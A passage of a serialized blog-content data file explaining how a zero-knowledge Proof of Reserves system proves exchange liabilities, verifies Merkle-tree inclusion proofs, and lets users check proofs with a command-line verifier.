0,"value":108593},{"type":25,"tag":271,"props":109292,"children":109294},{"className":109293},[296,297],[109295],{"type":30,"value":26},{"type":25,"tag":271,"props":109297,"children":109299},{"className":109298},[296,297],[109300],{"type":30,"value":106410},{"type":25,"tag":271,"props":109302,"children":109304},{"className":109303},[296,297],[109305],{"type":30,"value":6292},{"type":25,"tag":271,"props":109307,"children":109309},{"className":109308},[296],[109310],{"type":30,"value":1860},{"type":25,"tag":271,"props":109312,"children":109314},{"className":109313},[296,297],[109315],{"type":30,"value":83},{"type":25,"tag":271,"props":109317,"children":109319},{"className":109318},[296,297],[109320],{"type":30,"value":106148},{"type":25,"tag":271,"props":109322,"children":109324},{"className":109323},[296,297],[109325],{"type":30,"value":6292},{"type":25,"tag":271,"props":109327,"children":109329},{"className":109328,"style":2296},[296],[109330],{"type":30,"value":6434},{"type":25,"tag":271,"props":109332,"children":109334},{"className":109333},[296,297],[109335],{"type":30,"value":26},{"type":25,"tag":271,"props":109337,"children":109339},{"className":109338,"style":2296},[296,297],[109340],{"type":30,"value":2299},{"type":25,"tag":271,"props":109342,"children":109344},{"className":109343},[296,297],[109345],{"type":30,"value":1937},{"type":25,"tag":271,"props":109347,"children":109349},{"className":109348},[296,297],[109350],{"type":30,"value":106977},{"type":25,"tag":271,"props":109352,"children":109354},{"className":109353},[391],[109355],{"type":30,"value":5604},{"type":25,"tag":271,"props":109357,"children":109359},{"className":109358},[296,297],[109360],{"type":30,"value":83},{"type":25,"tag":271,"props":109362,"children":109364},{"className":109363},[296,297],[109365],{"type":30,"value":106148},{"type":25,"tag":271,"props":109367,"children":109369},{"className":109368},[296,297],[109370],{"type":30,"value":6292},{"type":25,"tag":271,"props":109372,"children":109374},{"className":109373,"style":2296},[296],[109375],{"type":30,"value":6434},{"type":25,"tag":271,"props":109377,"children":109379},{"className":109378},[296,297],[109380],{"type":30,"value":1023},{"type":25,"tag":271,"props":109382,"children":109384},{"className":109383},[296,297],[109385],{"type":30,"value":106410},{"type":25,"tag":271,"props":109387,"children":109389},{"className":109388},[296,297],[109390],{"type":30,"value":64249},{"type":25,"tag":271,"props":109392,"children":109394},{"className":109393},[437],[109395],{"type":30,"value":5630},{"type":30,"value":14096},{"type":25,"tag":38,"props":109398,"children":109399},{},[109400],{"type":30,"value":109401},"(verifies if all asset prices are the same)",{"type":25,"tag":112,"props":109403,"children":109404},{},[109405,109784,109785],{"type":25,"tag":264,"props":109406,"children":109408},{"className":109407},[267,268],[109409],{"type":25,"tag":271,"props":109410,"children":109412},{"className":109411},[274],[109413],{"type":25,"tag":271,"props":109414,"children":109416},{"className":109415,"ariaHidden":280},[279],[109417,109498],{"type":25,"tag":271,"props":109418,"children":109420},{"className":109419},[285],[109421,109425,109430,109435,109440,109445,109450,109455,109460,109465,109470,109475,109480,109485,109489,109494],{"type":25,"tag":271,"props":109422,"children":109424},{"className":109423,"style":6417},[290],[],{"type":25,"tag":271,"props":109426,"children":109428},{"className":109427},[296,297],[109429],{"type":30,"value":64249},{"type":25,"tag":271,"props":109431,"children":109433},{"className":109432,"style":2296},[296,297],[109434],{"type":30,"value":107570},{"type":25,"tag":271,"props":109436,"children":109438},{"className":109437,"style":6812},[296,297],[109439],{"type":30,"value":6815},{"type":25,"tag":271,"props":109441,"children":109443},{"className":109442,"style":106168},[296,297],[109444],{"type":30,"value":106171},{"type":25,"tag":271,"props":109446,"children":109448},{"className":109447},[296,297],[109449],{"type":30,"value":64570},{"type":25,"tag":271,"props":109451,"children":109453},{"className":109452,"style":2296},[296],[109454],{"type":30,"value":6434},{"type":25,"tag":271,"props":109456,"children":109458},{"className":109457},[296,297],[109459],{"type":30,"value":6292},{"type":25,"tag":271,"props":109461,"children":109463},{"className":109462},[296,297],[109464],{"type":30,"value":107601},{"type":25,"tag":271,"props":109466,"children":109468},{"className":109467,"style":2296},[296],[109469],{"type":30,"value":6434},{"type":25,"tag":271,"props":109471,"children":109473},{"className":109472},[296,297],[109474],{"type":30,"value":107612},{"type":25,"tag":271,"props":109476,"children":109478},{"className":109477},[296,297],[109479],{"type":30,"value":23776},{"type":25,"tag":271,"props":109481,"children":109483},{"className":109482},[296,297],[109484],{"type":30,"value":97458},{"type":25,"tag":271,"props":109486,"children":109488},{"className":109487,"style":338},[337],[],{"type":25,"tag":271,"props":109490,"children":109492},{"className":109491},[356],[109493],{"type":30,"value":21696},{"type":25,"tag":271,"props":109495,"children":109497},{"className":109496,"style":338},[337],[],{"type":25,"tag":271,"props":109499,"children":109501},{"className":109500},[285],[109502,109506,109511,109516,109521,109526,109531,109536,109541,109546,109551,109608,109613,109617,109622,109627,109684,109689,109693,109698,109703,109707,109712,109717,109779],{"type":25,"tag":271,"props":109503,"children":109505},{"className":109504,"style":375},[290],[],{"type":25,"tag":271,"props":109507,"children":109509},{"className":109508,"style":298},[296,297],[109510],{"type":30,"value":400},{"type":25,"tag":271,"props":109512,"children":109514},{"className":109513},[296,297],[109515],{"type":30,"value":106111},{"type":25,"tag":271,"props":109517,"children":109519},{"className":109518},[296,297],[109520],{"type":30,"value":1937},{"type":25,"tag":271,"props":109522,"children":109524},{"className":109523},[296,297],[109525],{"type":30,"value":13482},{"type":25,"tag":271,"props":109527,"children":109529},{"className":109528},[296,297],[109530],{"type":30,"value":106127},{"type":25,"tag":271,"props":109532,"children":109534},{"className":109533},[296,297],[109535],{"type":30,"value":1023},{"type":25,"tag":271,"props":109537,"children":109539},{"className":109538},[391],[109540],{"type":30,"value":394},{"type":25,"tag":271,"props":109542,"children":109544},{"className":109543},[296,297],[109545],{"type":30,"value":107612},{"type":25,"tag":271,"props":109547,"children":109549},{"className":109548},[296,297],[109550],{"type":30,"value":23776},{"type":25,"tag":271,"props":109552,"children":109554},{"className":109553},[296],[109555,109560],{"type":25,"tag":271,"props":109556,"children":109558},{"className":109557},[296,297],[109559],{"type":30,"value":97458},{"type":25,"tag":271,"props":109561,"children":109563},{"className":109562},[982],[109564],{"type":25,"tag":271,"props":109565,"children":109567},{"className":109566},[987,1100],[109568,109597],{"type":25,"tag":271,"props":109569,"children":109571},{"className":109570},[992],[109572,109592],{"type":25,"tag":271,"props":109573,"children":109575},{"className":109574,"style":1588},[997],[109576],{"type":25,"tag":271,"props":109577,"children":109578},{"style":1592},[109579,109583],{"type":25,"tag":271,"props":109580,"children":109582},{"className":109581,"style":1008},[1007],[],{"type":25,"tag":271,"props":109584,"children":109586},{"className":109585},[1013,1014,1015,1016],[109587],{"type":25,"tag":271,"props":109588,"children":109590},{"className":109589},[296,1016],[109591],{"type":30,"value":953},{"type":25,"tag":271,"props":109593,"children":109595},{"className":109594},[1177],[109596],{"type":30,"value":1180},{"type":25,"tag":271,"props":109598,"children":109600},{"className":109599},[992],[109601],{"type":25,"tag":271,"props":109602,"children":109604},{"className":109603,"style":1619},[997],[109605],{"type":25,"tag":271,"props":109606,"children":109607},{},[],{"type":25,"tag":271,"props":109609,"children":109611},{"className":109610},[404],[109612],{"type":30,"value":407},{"type":25,"tag":271,"props":109614,"children":109616},{"className":109615,"style":411},[337],[],{"type":25,"tag":271,"props":109618,"children":109620},{"className":109619},[296,297],[109621],{"type":30,"value":107612},{"type":25,"tag":271,"props":109623,"children":109625},{"className":109624},[296,297],[109626],{"type":30,"value":23776},{"type":25,"tag":271,"props":109628,"children":109630},{"className":109629},[296],[109631,109636],{"type":25,"tag":271,"props":109632,"children":109634},{"className":109633},[296,297],[109635],{"type":30,"value":97458},{"type":25,"tag":271,"props":109637,"children":109639},{"className":109638},[982],[109640],{"type":25,"tag":271,"props":109641,"children":109643},{"className":109642},[987,1100],[109644,109673],{"type":25,"tag":271,"props":109645,"children":109647},{"className":109646},[992],[109648,109668],{"type":25,"tag":271,"props":109649,"children":109651},{"className":109650,"style":1588},[997],[109652],{"type":25,"tag":271,"props":109653,"children":109654},{"style":1592},[109655,109659],{"type":25,"tag":271,"props":109656,"children":109658},{"className":109657,"style":1008},[1007],[],{"type":25,"tag":271,"props":109660,"children":109662},{"className":109661},[1013,1014,1015,1016],[109663],{"type":25,"tag":271,"props":109664,"children":109666},{"className":109665},[296,1016],[109667],{"type":30,"value":968},{"type":25,"tag":271,"props":109669,"children":109671},{"className":109670},[1177],[109672],{"type":30,"value":1180},{"type":25,"tag":271,"props":109674,"children":109676},{"className":109675},[992],[109677],{"type":25,"tag":271,"props":109678,"children":109680},{"className":109679,"style":1619},[997],[109681],{"type":25,"tag":271,"props":109682,"children":109683},{},[],{"type":25,"tag":271,"props":109685,"children":109687},{"className":109686},[404],[109688],{"type":30,"value":407},{"type":25,"tag":271,"props":109690,"children":109692},{"className":109691,"style":411},[337],[],{"type":25,"tag":271,"props":109694,"children":109696},{"className":109695},[296],[109697],{"type":30,"value":22714},{"type":25,"tag":271,"props":109699,"children":109701},{"className":109700},[404],[109702],{"type":30,"value":407},{"type":25,"tag":271,"props":109704,"children":109706},{"className":109705,"style":411},[337],[],{"type":25,"tag":271,"props":109708,"children":109710},{"className":109709},[296,297],[109711],{"type":30,"value":107612},{"type":25,"tag":271,"props":109713,"children":109715},{"className":109714},[296,297],[109716],{"type":30,"value":23776},{"type":25,"tag":271,"props":109718,"children":109720},{"className":109719},[296],[109721,109726],{"type":25,"tag":271,"props":109722,"children":109724},{"className":109723},[296,297],[109725],{"type":30,"value":97458},{"type":25,"tag":271,"props":109727,"children":109729},{"className":109728},[982],[109730],{"type":25,"tag":271,"props":109731,"children":109733},{"className":109732},[987,1100],[109734,109768],{"type":25,"tag":271,"props":109735,"children":109737},{"className":109736},[992],[109738,109763],{"type":25,"tag":271,"props":109739,"children":109741},{"className":109740,"style":1588},[997],[109742],{"type":25,"tag":271,"props":109743,"children":109744},{"style":1592},[109745,109749],{"type":25,"tag":271,"props":109746,"children":109748},{"className":109747,"style":1008},[1007],[],{"type":25,"tag":271,"props":109750,"children":109752},{"className":109751},[1013,1014,1015,1016],[109753],{"type":25,"tag":271,"props":109754,"children":109756},{"className":109755},[296,1016],[109757],{"type":25,"tag":271,"props":109758,"children":109760},{"className":109759},[296,1016],[109761],{"type":30,"value":109762},"31",{"type":25,"tag":271,"props":109764,"children":109766},{"className":109765},[1177],[109767],{"type":30,"value":1180},{"type":25,"tag":271,"props":109769,"children":109771},{"className":109770},[992],[109772],{"type":25,"tag":271,"props":109773,"children":109775},{"className":109774,"style":1619},[997],[109776],{"type":25,"tag":271,"props":109777,"children":109778},{},[],{"type":25,"tag":271,"props":109780,"children":109782},{"className":109781},[437],[109783],{"type":30,"value":440},{"type":30,"value":14096},{"type":25,"tag":38,"props":109786,"children":109787},{},[109788],{"type":30,"value":107932},{"type":25,"tag":112,"props":109790,"children":109791},{},[109792,109797,109798],{"type":25,"tag":10281,"props":109793,"children":109794},{},[109795],{"type":30,"value":109796},"checks if each sum is overflowing by checking if the sum of two positive numbers results in a negative one",{"type":30,"value":14096},{"type":25,"tag":38,"props":109799,"children":109800},{},[109801],{"type":30,"value":108215},{"type":25,"tag":26,"props":109803,"children":109804},{},[109805],{"type":30,"value":109806},"Here is a visual scheme of the inputs of the recursive circuit. Note that this tree only has three levels (L1, L2, L3). Depending on the number of users, it may have more recursive levels:",{"type":25,"tag":26,"props":109808,"children":109809},{},[109810],{"type":25,"tag":698,"props":109811,"children":109813},{"alt":63694,"src":109812},"/posts/por/recursive-circuit.png",[],{"type":25,"tag":96,"props":109815,"children":109817},{"id":109816},"global-proof-and-inclusion-proofs",[109818],{"type":30,"value":109819},"Global Proof and Inclusion Proofs",{"type":25,"tag":247,"props":109821,"children":109822},{"id":22404},[109823],{"type":30,"value":109824},"Proving",{"type":25,"tag":26,"props":109826,"children":109827},{},[109828,109830,109836,109837,109843,109844,109850],{"type":30,"value":109829},"After proving all batch circuits and all recursive circuits, we have the final proof (which is the ZK proof of the recursive tree root), the entire Merkle tree, and the user nonces. In our code, it is serialized to ",{"type":25,"tag":264,"props":109831,"children":109833},{"className":109832},[],[109834],{"type":30,"value":109835},"merkle_tree.json",{"type":30,"value":44},{"type":25,"tag":264,"props":109838,"children":109840},{"className":109839},[],[109841],{"type":30,"value":109842},"final_proof.json",{"type":30,"value":69},{"type":25,"tag":264,"props":109845,"children":109847},{"className":109846},[],[109848],{"type":30,"value":109849},"private_nonces.json",{"type":30,"value":109851}," files.",{"type":25,"tag":26,"props":109853,"children":109854},{},[109855],{"type":30,"value":109856},"Using the ZK proof and the Merkle tree, we can already prove the sum of the asset balances and their non-negativity; we refer to this as the \"global proof.\"",{"type":25,"tag":26,"props":109858,"children":109859},{},[109860,109862,109868,109870,109875],{"type":30,"value":109861},"For the user inclusion proofs, we get the Merkle tree, the user asset balances, the identification hash, and the nonce to bundle it in one proof file (",{"type":25,"tag":264,"props":109863,"children":109865},{"className":109864},[],[109866],{"type":30,"value":109867},"inclusion_proof_\u003Cid>.json",{"type":30,"value":109869},"). ",{"type":25,"tag":10281,"props":109871,"children":109872},{},[109873],{"type":30,"value":109874},"We bundle only a part of the Merkle tree to the inclusion proof file to make the proof smaller",{"type":30,"value":1860},{"type":25,"tag":247,"props":109877,"children":109879},{"id":109878},"verifying",[109880],{"type":30,"value":109881},"Verifying",{"type":25,"tag":26,"props":109883,"children":109884},{},[109885],{"type":25,"tag":38,"props":109886,"children":109887},{},[109888],{"type":30,"value":109889},"Global Proof",{"type":25,"tag":26,"props":109891,"children":109892},{},[109893,109895,109900,109901,109906],{"type":30,"value":109894},"To verify the global proof, the code deserializes the ",{"type":25,"tag":264,"props":109896,"children":109898},{"className":109897},[],[109899],{"type":30,"value":109835},{"type":30,"value":50660},{"type":25,"tag":264,"props":109902,"children":109904},{"className":109903},[],[109905],{"type":30,"value":109842},{"type":30,"value":109907}," files and performs these checks:",{"type":25,"tag":661,"props":109909,"children":109910},{},[109911,109916,109921,109926,109952],{"type":25,"tag":112,"props":109912,"children":109913},{},[109914],{"type":30,"value":109915},"Validate if the final proof was generated with a valid and trusted circuit.",{"type":25,"tag":112,"props":109917,"children":109918},{},[109919],{"type":30,"value":109920},"Verify the ZK final proof.",{"type":25,"tag":112,"props":109922,"children":109923},{},[109924],{"type":30,"value":109925},"Verify if asset prices are valid. (It doesn't verify if it matches the real price; you need to do it manually. It only verifies if decimals are valid.)",{"type":25,"tag":112,"props":109927,"children":109928},{},[109929,109931,109937,109939,109944,109945,109950],{"type":30,"value":109930},"Verify if the Merkle tree root hash is the same as the final proof ",{"type":25,"tag":264,"props":109932,"children":109934},{"className":109933},[],[109935],{"type":30,"value":109936},"merkle_tree_hash",{"type":30,"value":109938}," public input. This ensures that the ",{"type":25,"tag":264,"props":109940,"children":109942},{"className":109941},[],[109943],{"type":30,"value":109835},{"type":30,"value":12218},{"type":25,"tag":264,"props":109946,"children":109948},{"className":109947},[],[109949],{"type":30,"value":109842},{"type":30,"value":109951}," are linked (they belong to the same global proof).",{"type":25,"tag":112,"props":109953,"children":109954},{},[109955],{"type":30,"value":109956},"Verify the entire Merkle tree by hashing all the nodes again, starting with the batch circuit, since the verifier won't have the necessary information to hash the leaves again (for privacy). This ensures that the tree was not tampered with.",{"type":25,"tag":26,"props":109958,"children":109959},{},[109960],{"type":25,"tag":38,"props":109961,"children":109962},{},[109963],{"type":30,"value":109964},"Inclusion Proof",{"type":25,"tag":26,"props":109966,"children":109967},{},[109968,109970,109975,109977,109982],{"type":30,"value":109969},"To verify the inclusion proof, the code deserializes the ",{"type":25,"tag":264,"props":109971,"children":109973},{"className":109972},[],[109974],{"type":30,"value":109867},{"type":30,"value":109976}," file and also the ",{"type":25,"tag":264,"props":109978,"children":109980},{"className":109979},[],[109981],{"type":30,"value":109842},{"type":30,"value":109983},". After that, it performs these checks:",{"type":25,"tag":661,"props":109985,"children":109986},{},[109987,109991,109996,110001],{"type":25,"tag":112,"props":109988,"children":109989},{},[109990],{"type":30,"value":109920},{"type":25,"tag":112,"props":109992,"children":109993},{},[109994],{"type":30,"value":109995},"Verify if the Merkle tree root is the same as in the final proof.",{"type":25,"tag":112,"props":109997,"children":109998},{},[109999],{"type":30,"value":110000},"Recalculate the user-related node leaf hash.",{"type":25,"tag":112,"props":110002,"children":110003},{},[110004],{"type":30,"value":110005},"Verify a partial Merkle tree using the recalculated hash (it doesn't contain all the leaves).",{"type":25,"tag":96,"props":110007,"children":110009},{"id":110008},"por-verifier-server",[110010],{"type":30,"value":110011},"PoR Verifier Server",{"type":25,"tag":26,"props":110013,"children":110014},{},[110015,110017,110023],{"type":30,"value":110016},"To automate the verification process, we created a ",{"type":25,"tag":83,"props":110018,"children":110020},{"href":105670,"rel":110019},[9066],[110021],{"type":30,"value":110022},"verifier server",{"type":30,"value":110024}," that the exchange can submit the proofs into. Once submitted, the proof is validated and added to the database.",{"type":25,"tag":26,"props":110026,"children":110027},{},[110028],{"type":30,"value":110029},"Once the proof was added, any user can enter the website and see its information (see backpack's example):",{"type":25,"tag":26,"props":110031,"children":110032},{},[110033],{"type":25,"tag":698,"props":110034,"children":110036},{"alt":63694,"src":110035},"/posts/por/backpack-por.png",[],{"type":25,"tag":26,"props":110038,"children":110039},{},[110040],{"type":30,"value":110041},"Here is a breakdown of what fields represent and why they are required:",{"type":25,"tag":108,"props":110043,"children":110044},{},[110045,110055,110065,110075,110085,110095],{"type":25,"tag":112,"props":110046,"children":110047},{},[110048,110053],{"type":25,"tag":38,"props":110049,"children":110050},{},[110051],{"type":30,"value":110052},"Status",{"type":30,"value":110054}," --> verifies if the proof is valid, ensuring that the information has not been tampered with.",{"type":25,"tag":112,"props":110056,"children":110057},{},[110058,110063],{"type":25,"tag":38,"props":110059,"children":110060},{},[110061],{"type":30,"value":110062},"Proof Timestamp",{"type":30,"value":110064}," --> when the proof was generated by the exchange.",{"type":25,"tag":112,"props":110066,"children":110067},{},[110068,110073],{"type":25,"tag":38,"props":110069,"children":110070},{},[110071],{"type":30,"value":110072},"Verify Timestamp",{"type":30,"value":110074}," --> when the proof was verified by the PoR server.",{"type":25,"tag":112,"props":110076,"children":110077},{},[110078,110083],{"type":25,"tag":38,"props":110079,"children":110080},{},[110081],{"type":30,"value":110082},"Proof File URL",{"type":30,"value":110084}," --> the URL where the proof was downloaded from. Users can download it to verify the proof's validity themselves.",{"type":25,"tag":112,"props":110086,"children":110087},{},[110088,110093],{"type":25,"tag":38,"props":110089,"children":110090},{},[110091],{"type":30,"value":110092},"Prover Version",{"type":30,"value":110094}," --> the version of PoRv2 used. Using different versions for proving/verifying can result in errors due to ZK circuit discrepancies. Therefore, if you are going to verify the validity of the proof yourself, ensure that you download and use the same prover version as the proof.",{"type":25,"tag":112,"props":110096,"children":110097},{},[110098,110103],{"type":25,"tag":38,"props":110099,"children":110100},{},[110101],{"type":30,"value":110102},"File Hash (SHA256)",{"type":30,"value":110104}," --> since we only store the URL of the proof, it can be maliciously changed after our verification. SHA256 can be used to prove if the file was modified after the verification. If you are going to verify the proof by yourself, check if the downloaded zip file matches the hash shown on the website.",{"type":25,"tag":26,"props":110106,"children":110107},{},[110108],{"type":30,"value":110109},"Also, you can check the exchange's liabilities on the website:",{"type":25,"tag":26,"props":110111,"children":110112},{},[110113],{"type":25,"tag":698,"props":110114,"children":110116},{"alt":63694,"src":110115},"/posts/por/backpack-por-liabilities.png",[],{"type":25,"tag":26,"props":110118,"children":110119},{},[110120,110122,110128,110130,110136],{"type":30,"value":110121},"These are the amount of assets that the exchange should have in their reserves to be solvent on each asset. You can match if they have it by checking their reserve wallets on blockchain. You can see backpack's wallets in ",{"type":25,"tag":83,"props":110123,"children":110126},{"href":110124,"rel":110125},"https://backpack.exchange/reserves",[9066],[110127],{"type":30,"value":110124},{"type":30,"value":110129}," and our verifier server for backpack at ",{"type":25,"tag":83,"props":110131,"children":110134},{"href":110132,"rel":110133},"https://backpack-por.osec.io/",[9066],[110135],{"type":30,"value":110132},{"type":30,"value":1860},{"type":25,"tag":96,"props":110138,"children":110140},{"id":110139},"self-verification",[110141],{"type":30,"value":110142},"Self-verification",{"type":25,"tag":26,"props":110144,"children":110145},{},[110146],{"type":30,"value":110147},"You, as a user, can verify both proofs by yourself, the inclusion proof to verify if you were included in the PoR total liabilities sum and the global proof to verify if the commitments provided by the exchange are valid.",{"type":25,"tag":247,"props":110149,"children":110151},{"id":110150},"how-to-verify-if-i-was-included",[110152],{"type":30,"value":110153},"How to verify if I was included?",{"type":25,"tag":26,"props":110155,"children":110156},{},[110157],{"type":30,"value":110158},"If you are a user and want to do the self-verification of inclusion, you will need to follow these steps:",{"type":25,"tag":661,"props":110160,"children":110161},{},[110162,110173,110191],{"type":25,"tag":112,"props":110163,"children":110164},{},[110165,110172],{"type":25,"tag":83,"props":110166,"children":110169},{"href":110167,"rel":110168},"https://github.com/otter-sec/por_v2/releases",[9066],[110170],{"type":30,"value":110171},"Download the PoRv2 executable from our github",{"type":30,"value":1860},{"type":25,"tag":112,"props":110174,"children":110175},{},[110176,110178,110183,110184,110189],{"type":30,"value":110177},"Download the inclusion and the final proof files from the exchange (",{"type":25,"tag":264,"props":110179,"children":110181},{"className":110180},[],[110182],{"type":30,"value":109867},{"type":30,"value":12218},{"type":25,"tag":264,"props":110185,"children":110187},{"className":110186},[],[110188],{"type":30,"value":109842},{"type":30,"value":110190},") and put the files in the same directory as the PoRv2 app.",{"type":25,"tag":112,"props":110192,"children":110193},{},[110194,110196,110202],{"type":30,"value":110195},"Open the terminal and execute this: ",{"type":25,"tag":264,"props":110197,"children":110199},{"className":110198},[],[110200],{"type":30,"value":110201},"./plonky2_por verify-inclusion",{"type":30,"value":1860},{"type":25,"tag":26,"props":110204,"children":110205},{},[110206],{"type":30,"value":110207},"This will verify if the proofs are valid and show your asset balances. You will need to verify manually that the balances are correct. Remember that the proofs are not calculated in real-time; you must verify if the balances were correct at the proof generation date. Here is an example of a valid proof being verified:",{"type":25,"tag":7764,"props":110209,"children":110211},{"code":110210},"[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Some asset balances was rounded by some decimals, verify if they are close enough to the original balance\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset balances-----\nETH: 0\nBTC: 1.2\nUSDC: 0\n...\n======================\n[!] Verifying global proof (trusting circuit data inside the file)...\n[+] Global proof is valid!\n[!] Verifying inclusion proof...\n[+] Inclusion proof root hash is valid! The user is included in the merkle tree!\n[+] Successfully verified inclusion proof for file: inclusion_proof_00476816e43cf2efffdabdda7f55c5203bc9e28382c551f83931de02fd364a25.json\n\n[+] All inclusion proofs are valid!\n[+] Finished in 13.731875ms!\n",[110212],{"type":25,"tag":264,"props":110213,"children":110214},{"__ignoreMap":7},[110215],{"type":30,"value":110210},{"type":25,"tag":247,"props":110217,"children":110219},{"id":110218},"how-can-i-verify-the-global-proof",[110220],{"type":30,"value":110221},"How can I verify the global proof?",{"type":25,"tag":26,"props":110223,"children":110224},{},[110225],{"type":30,"value":110226},"If you want to verify if the global proof is valid, you just need to follow these steps:",{"type":25,"tag":661,"props":110228,"children":110229},{},[110230,110239,110257],{"type":25,"tag":112,"props":110231,"children":110232},{},[110233,110238],{"type":25,"tag":83,"props":110234,"children":110236},{"href":110167,"rel":110235},[9066],[110237],{"type":30,"value":110171},{"type":30,"value":1860},{"type":25,"tag":112,"props":110240,"children":110241},{},[110242,110244,110249,110250,110255],{"type":30,"value":110243},"Download the ",{"type":25,"tag":264,"props":110245,"children":110247},{"className":110246},[],[110248],{"type":30,"value":109835},{"type":30,"value":50660},{"type":25,"tag":264,"props":110251,"children":110253},{"className":110252},[],[110254],{"type":30,"value":109842},{"type":30,"value":110256}," files and put them in the same directory as the PoRv2 app. You can download those files from our PoR verifier server (download the zip file and unzip it).",{"type":25,"tag":112,"props":110258,"children":110259},{},[110260,110262,110267],{"type":30,"value":110261},"Open the terminal and execute ",{"type":25,"tag":264,"props":110263,"children":110265},{"className":110264},[],[110266],{"type":30,"value":110201},{"type":30,"value":110268},". This might take a while to verify since it needs to deserialize a big file and verify the final proof circuit (which involves rebuilding it).",{"type":25,"tag":26,"props":110270,"children":110271},{},[110272],{"type":30,"value":110273},"This will verify the global proof and print the asset prices to be manually verified. Note that the asset prices shown are not real-time; you must match them to the price on the proof generation date and time.",{"type":25,"tag":7764,"props":110275,"children":110277},{"code":110276},"[!] Verifying the proof of reserves...\n[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Asset prices was rounded by some decimals, verify if they are close enough to the original price\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset prices-----\nBTC: US$ 95000\nETH: US$ 2402.48\n...\n======================\n",[110278],{"type":25,"tag":264,"props":110279,"children":110280},{"__ignoreMap":7},[110281],{"type":30,"value":110276},{"type":25,"tag":26,"props":110283,"children":110284},{},[110285],{"type":30,"value":110286},"When verification is completed, and all proofs are valid, the system will print the summed balances of each asset. These are the liabilities of the exchange, which you can use to check if they have reserves to cover it.",{"type":25,"tag":7764,"props":110288,"children":110290},{"code":110289},"[!] Rebuilding root circuit... This might take several minutes...\n[+] Root circuit rebuilt successfully!\n[!] Verifying final proof...\n[+] Proof is valid!\n[!] Verifying asset prices...\n[+] Asset prices are valid!\n[!] Verifying asset decimals...\n[+] Asset decimals are valid!\n[!] Verifying merkle tree root hash...\n[+] Merkle tree root hash is valid!\n[!] Verifying merkle tree...\n[+] Merkle tree is valid!\n\n[!] The following information is the final needed asset reserves, which was validated by the Zero-Knowledge proof\n[!] NOTE: This is not real-time information, the information is relative to the time of the proof generation\n[!] NOTE2: We cannot guarantee that all users were included in the proof, but you can check if you were included by verifying the inclusion proof\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset reserves-----\nBTC: 1.2\nETH: 5.4\n...\n======================\n\n[+] All proofs are valid!\n[+] Finished in 4.455745214s!\n",[110291],{"type":25,"tag":264,"props":110292,"children":110293},{"__ignoreMap":7},[110294],{"type":30,"value":110289},{"type":25,"tag":96,"props":110296,"children":110297},{"id":42044},[110298],{"type":30,"value":32068},{"type":25,"tag":26,"props":110300,"children":110301},{},[110302],{"type":30,"value":110303},"In conclusion, Proof of Reserves serves as a crucial mechanism for crypto platforms, enabling them to demonstrate solvency and gain user trust in a transparent manner. By employing zero-knowledge proofs, platforms can achieve this transparency without exposing sensitive user data, effectively proving total liabilities and ensuring non-negativity while preserving privacy. Our system further refines this process, boosting efficiency and eliminating the need for manual verification.",{"type":25,"tag":26,"props":110305,"children":110306},{},[110307,110309,110315],{"type":30,"value":110308},"We are currently working with Backpack to implement this algorithm ",{"type":25,"tag":83,"props":110310,"children":110312},{"href":110124,"rel":110311},[9066],[110313],{"type":30,"value":110314},"in production",{"type":30,"value":110316}," to generate and verify proofs every 24 hours. This marks a significant advancement toward establishing a real-time Proof of Reserves system, particularly given that it offers increased transparency, which is a step forward in reducing the need for external audit companies, as users will be able to verify everything themselves.",{"type":25,"tag":26,"props":110318,"children":110319},{},[110320,110322,110329],{"type":30,"value":110321},"For more information about how Backpack Exchange implements Proof of Reserves in practice, you can read their detailed article: ",{"type":25,"tag":83,"props":110323,"children":110326},{"href":110324,"rel":110325},"https://learn.backpack.exchange/articles/proof-of-reserves-at-backpack",[9066],[110327],{"type":30,"value":110328},"Proof of Reserves at Backpack Exchange: Real Transparency, ZK Verified",{"type":30,"value":1860},{"title":7,"searchDepth":11641,"depth":11641,"links":110331},[110332,110333,110334,110335,110338,110343,110347,110348,110352],{"id":105598,"depth":11641,"text":105601},{"id":105679,"depth":11641,"text":105682},{"id":105749,"depth":11641,"text":105752},{"id":105803,"depth":11641,"text":105806,"children":110336},[110337],{"id":105882,"depth":14354,"text":105885},{"id":105970,"depth":11641,"text":105973,"children":110339},[110340,110341,110342],{"id":106043,"depth":14354,"text":106046},{"id":106507,"depth":14354,"text":106510},{"id":108238,"depth":14354,"text":108241},{"id":109816,"depth":11641,"text":109819,"children":110344},[110345,110346],{"id":22404,"depth":14354,"text":109824},{"id":109878,"depth":14354,"text":109881},{"id":110008,"depth":11641,"text":110011},{"id":110139,"depth":11641,"text":110142,"children":110349},[110350,110351],{"id":110150,"depth":14354,"text":110153},{"id":110218,"depth":14354,"text":110221},{"id":42044,"depth":11641,"text":32068},"content:blog:2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds",{"_path":110357,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":110358,"description":110359,"date":110360,"author":44312,"image":110361,"isFeatured":18,"onBlogPage":18,"tags":110363,"body":110366,"_type":16004,"_id":112792,"_source":16006,"_file":112793,"_stem":112794,"_extension":16009},"/blog/2025-09-13-how-to-survive-supply-chain-attacks","How to Survive Supply-Chain Attacks","The recent supply-chain attack on NPM showed how easily trusted dependencies can become delivery vectors for malware. Learn how the attack worked and practical defenses developers can implement to stay 